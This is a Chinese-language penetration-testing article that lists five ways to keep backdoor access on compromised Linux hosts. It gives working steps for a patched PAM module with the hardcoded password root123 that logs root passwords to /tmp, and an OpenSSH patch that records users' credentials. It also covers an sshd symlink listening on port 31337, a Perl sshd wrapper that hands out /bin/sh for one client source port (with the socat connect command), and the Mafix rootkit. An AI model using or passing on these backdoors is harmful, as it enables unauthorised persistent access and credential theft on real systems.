前言 渗透测试中大家经常会遇到各类Linux系统的主机,今天我们就linux下后门维持的几种姿势做一个总结和抛砖引玉。
姿势一、PAM后门 概述: PAM (Pluggable AuthenticationModules )是由Sun提出的一种认证机制。它通过提供一些动态链接库和一套统一的API,将系统提供的服务和该服务的认证方式分开,使得系统管理员可以灵活地根据需要给不同的服务配置不同的认证方式而无需更改服务程序,同时也便于向系统中添加新的认证手段。PAM最初是集成在Solaris中,目前已移植到其它系统中,如Linux、SunOS、HP-UX9.0等。
搭建PAM后门主要思路:pam_unix_auth.c打补丁安装到正常的PAM模块中。
搭建步骤: 1、获取目标系统所使用的PAM版本: rpm -qa |grep pam 2、编译安装PAM 3、将本地pam_unix_auth.c文件通过打补丁方式,编译生成。 4、编译完后的文件在:modules/pam_unix/.libs/pam_unix.so,后门密码为root123,并会在/tmp/pslog记录root登录密码。
特点:
优势:隐蔽性较强,不易被发现。
劣势:需要编译环境,缺少GCC或其他依赖包容易出现问题
姿势二、openssh后门 概述: 思路:下载新版本的openssh,并下载对应patch包,这个patch文件包含sshbd5.9p1.diff文件为后门文件,文件包括:auth.c、auth-pam.c、auth-passwd.c、canohost.c、includes.h、log.c、servconf.c、sshconnect2.c、sshlogin.c、version.h #tar -zxvf openssh-5.9p1.tar.gz #tar -zxvf 0x06-openssh-5.9p1.patch.tar.gz
vim includes.h //修改后门密码,记录文件位置, /* #define ILOG "/tmp/ilog" //记录登录到本机的用户名和密码 #define OLOG "/tmp/olog" //记录本机登录到远程的用户名和密码 #define SECRETPW "root123" //你后门的密码 */
优势:隐蔽性较强,不易被发现。
劣势:需要编译环境,缺少GCC或其他依赖包容易出现问题。
姿势三、快速获得ssh后门 概述: 在远程主机上执行: #ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337; 就会派生一个31337端口,然后连接31337,用root/bin/ftp/mail当用户名,密码随意,就可登陆。 效果图:
特点: 优势:隐蔽性较弱,适合短时间连接。
劣势:重启后会断开,无法后弹连接。
姿势四、SSH wrapper后门概述: init首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526就执行sh给个shell。
客户端:
[root@localhost ~]# cd /usr/sbin [root@localhost sbin]# mv sshd ../bin [root@localhost sbin]# echo '#!/usr/bin/perl' >sshd [root@localhost sbin]# echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd [root@localhost sbin]# echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd [root@localhost sbin]# chmod u+x sshd [root@localhost sbin]# /etc/init.d/sshd restart
控制端:
socat STDIOTCP4:target_ip:22,sourceport=19526
特点: 优势:隐蔽性较强,无需要编译,使用于大部分环境中。
劣势:需要重启sshd进程。
姿势五:利用mafix rootkit创建后门 概述:
Mafix是一款常用的轻量应用级别Rootkits,是通过伪造ssh协议漏洞实现远程登陆的特点是配置简单并可以自定义验证密码和端口号。安装完成后,使用ssh 用户@IP -P 配置的端口,即可远程登录。
特点: 优势:隐蔽性一般,无需要编译。
劣势:会替换ls等命令,容易被识破。
|